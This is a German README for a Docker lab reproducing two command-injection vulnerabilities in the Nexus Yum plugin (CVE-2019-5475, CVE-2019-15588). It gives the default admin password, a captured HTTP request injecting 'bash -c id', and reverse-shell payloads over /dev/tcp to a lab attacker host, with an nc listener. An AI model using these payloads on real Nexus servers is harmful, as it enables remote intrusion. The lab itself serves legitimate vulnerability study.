
CVE-2019-5475 Lab: RCE-Befehlsinjektionsschwachstelle
CVE-2019-5475 und CVE-2019-15588 Lab: RCE-Befehlsinjektions-Schwachstelle
CVE-2019-5475 ist eine RCE-Befehlsinjektions-Schwachstelle im integrierten Plugin Yum Repository von Nexus, die erstmals auf hackerone veröffentlicht wurde. Da die erste offizielle Korrektur unvollständig war, entstand daraus die Schwachstelle CVE-2019-15588.
Beide Schwachstellen können nur nach einem Login als Administrator ausgenutzt werden. Das Standard-Admin-Passwort admin123 von Nexus wird jedoch häufig nicht geändert, sodass die Schwachstellen leicht ausgenutzt werden können.
CVE-2019-5475
├── nexus-yum-core .......... [Maven-Projekt zum Debuggen: simuliert die Eingabe von createrepo oder mergerepo in der Nexus-GUI]
├── nexus ................... [Daten-Mount-Verzeichnis des Nexus-Containers]
├── attacker ................ [Build-Verzeichnis der Angreifer-Maschine]
│ └── Dockerfile .......... [Docker-Build-Datei der Angreifer-Maschine]
├── docker-compose.yml ...... [Docker-Build-Konfiguration]
├── imgs .................... [Bilder zur Unterstützung der README-Erklärung]
└── README.md ............... [Diese README-Erklärung]
cd CVE-2019-5475docker-compose up -dadmin/admin123), wobei gilt:| Nexus | CVE | URL |
|---|---|---|
| 2.14.9 | CVE-2019-5475 | http://127.0.0.1:8009/nexus |
| 2.14.14 | CVE-2019-15588 | http://127.0.0.1:8014/nexus |
Dieses Labor umfasst außerdem eine Angreifer-Maschine 172.168.50.2, die sich im selben Netzwerk wie die beiden Zielmaschinen befindet und zur Validierung der Reverse Shell dient
Mit admin bei http://127.0.0.1:8009/nexus/#capabilities anmelden. Unter Administration -> Capabilities -> Yum: Configuration -> Settings findet sich der RCE-Injektionspunkt.
Die Eingabefelder Path of "createrepo" und Path of "mergerepo" können beide injiziert werden. Das Ausführungsergebnis kann unter Status eingesehen werden.
Zum Beispiel kann am Injektionspunkt createrepo der PoC bash -c id || python konstruiert werden. Unter Status erhält man dann das Ausführungsergebnis uid=200(nexus) gid=200(nexus) groups=200(nexus) des Befehls bash -c id.
Über BurpSuite kann die entsprechende PoC-Anfrage abgefangen werden:
PUT /nexus/service/siesta/capabilities/RANDOM_ID HTTP/1.1
Host: 127.0.0.1:8009
accept: application/json
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4xMjM=
Connection: close
{"typeId":"yum","enabled":true,"properties":[{"key":"createrepoPath","value":"bash -c id || python"}],"id":"RANDOM_ID"}


Dieser Injektionspunkt lässt sich leicht zum Aufbau einer Reverse Shell ausnutzen:
docker exec -it -u root docker_attacker /bin/bashnc -lvvp 4444createrepo folgenden Payload konstruieren: bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || python
Die Injektionsstelle ist dieselbe wie bei CVE-2019-5475. Den PoC wie folgt anpassen: /bin/bash -c id || /createrepo


Diese Schwachstelle kann mit derselben Methode für eine Reverse Shell ausgenutzt werden:
docker exec -it -u root docker_attacker /bin/bashnc -lvvp 4444createrepo folgenden Payload konstruieren: /bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || /createrepo
nexus-yum-core ist der Kerncode-Ausschnitt von Nexus, der für diese Schwachstellenausnutzung relevant ist. Er dient hauptsächlich dazu, den eingegebenen Payload direkt vom Backend aus zu debuggen und zu analysieren, ohne den vollständigen Nexus-Dienst aus dem Quellcode aufbauen zu müssen.
